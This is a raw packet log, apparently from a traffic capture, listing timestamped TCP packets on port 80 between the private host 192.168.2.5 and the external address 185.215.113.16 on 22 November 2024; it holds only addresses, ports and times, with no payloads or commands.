Nov 22, 2024 23:06:47.919814110 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.919893980 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.922610998 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.922744989 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.922772884 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.922825098 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.925496101 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.925546885 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.925654888 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.925703049 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.928483009 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.928534985 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.928617954 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.928673983 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.931492090 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.931539059 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.931777000 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.931823969 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.934482098 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.934535980 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.934632063 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.934686899 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.937424898 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.937477112 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.937653065 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.937783957 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.940466881 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.940521955 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.940566063 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.940612078 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.943651915 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.943738937 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.943816900 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.943865061 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.946372986 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.946428061 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.946463108 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.946552038 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.949381113 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.949431896 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.949815035 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.949995041 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.952379942 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.952441931 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.952656031 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.952716112 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.955368996 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.955423117 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.955519915 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.955566883 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.958333969 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.958384037 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.958529949 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.958580971 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.961332083 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.961383104 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.961399078 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.961441994 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.964400053 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.964451075 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.964454889 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.964504004 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.967379093 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.967431068 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.967466116 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.967514038 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.970356941 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.970417976 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.970529079 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.970671892 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.973303080 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.973355055 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.973514080 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.973570108 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.976296902 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.976346016 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.976408958 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.976505995 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.979300976 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.979357958 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.979460955 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.979505062 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.982265949 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.982347965 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.982363939 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.982395887 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.985301971 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.985369921 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.985461950 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.985503912 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.988445997 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.988493919 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.988500118 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.988542080 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.991271019 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.991331100 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.991394043 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.991440058 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.994193077 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.994235039 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.994254112 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.994285107 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:47.997356892 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.997371912 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:47.997423887 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.000204086 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.000310898 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.000375032 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.003227949 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.003295898 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.003778934 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.004017115 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.006182909 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.006223917 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.006226063 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.006273031 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.120893955 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.121020079 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.121897936 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.122047901 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.122757912 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.124259949 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.124289036 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.124303102 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.124402046 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.125866890 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.126482964 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.126552105 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.126605988 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.128720999 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.128840923 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.128927946 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.130985022 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.131066084 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.131083965 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.131108046 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.133055925 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.133106947 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.133297920 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.133342981 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.135238886 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.135284901 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.135648966 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.135698080 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.137365103 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.137495995 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.137547970 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.139564991 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.139625072 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.139735937 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.139844894 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.141710997 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.141855955 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.141871929 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.141912937 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.143896103 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.143942118 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.144243956 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.144937038 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.146025896 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.146080017 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.146311045 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.146356106 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.148181915 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.148252964 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.148309946 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.148350000 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.150324106 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.150388956 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.150491953 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.150585890 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.152493954 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.152561903 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.152863979 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.152925014 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.154695034 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.154834032 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.154915094 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.155026913 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.156812906 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.156877041 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.157016039 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.157429934 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.158984900 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.159055948 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.159368992 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.159456968 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.161176920 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.161531925 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.161571026 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.161614895 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.163288116 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.163341999 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.163417101 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.163960934 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.165477037 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.165535927 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.165887117 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.166016102 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.167614937 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.167711973 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.167767048 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.167815924 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.169770956 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.169817924 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.169856071 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.169960022 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.171948910 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.172473907 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.172517061 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.172559023 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.174119949 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.174180031 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.174319983 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.174454927 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.176278114 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.176373959 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.176404953 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.176635027 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.178380966 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.178508043 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.178932905 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.179168940 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.180578947 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.180640936 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.180829048 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.180872917 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.182732105 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.182780027 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.183064938 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.183104038 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.184904099 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.184988022 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.185146093 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.185576916 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.187064886 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.187127113 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.187391043 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.187449932 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.189219952 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.189263105 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.189511061 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.189555883 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.191461086 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.191538095 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.191545963 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.191593885 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.193593025 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.193654060 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.193770885 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.193866014 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.195729017 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.195790052 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.196487904 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.197886944 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.197951078 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.198434114 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.198481083 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.200328112 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.200371981 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.200460911 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.200540066 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.202173948 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.202219009 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.202367067 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.204119921 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.204319954 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.204363108 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.204835892 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.204888105 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.206490993 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.206759930 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.206825018 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.208681107 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.208740950 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.208774090 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.209054947 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.210792065 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.210843086 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.210956097 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.211086988 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.212970018 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.213416100 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.213438034 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.213797092 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.215130091 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.215218067 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.215398073 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.215462923 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.217298031 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.217376947 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.217888117 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.218997002 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.219504118 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.219547987 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.219939947 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.220011950 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.221616983 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.221687078 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.221927881 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.223764896 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.223822117 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.224147081 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.224268913 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.225929022 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.226178885 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.226370096 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.226473093 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.228022099 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.228187084 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.324755907 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.324915886 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.324991941 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.325587034 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.325694084 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.325725079 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.325740099 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.327328920 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.327379942 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.327501059 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.327593088 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.329090118 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.329327106 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.329382896 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.330784082 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.330991983 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.331047058 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.332484007 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.332565069 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.332818985 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.333161116 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.334172964 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.334310055 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.334619045 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.334662914 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.335860014 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.336292028 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.336412907 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.337558031 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.337614059 CET	49901	80	192.168.2.5	185.215.113.16
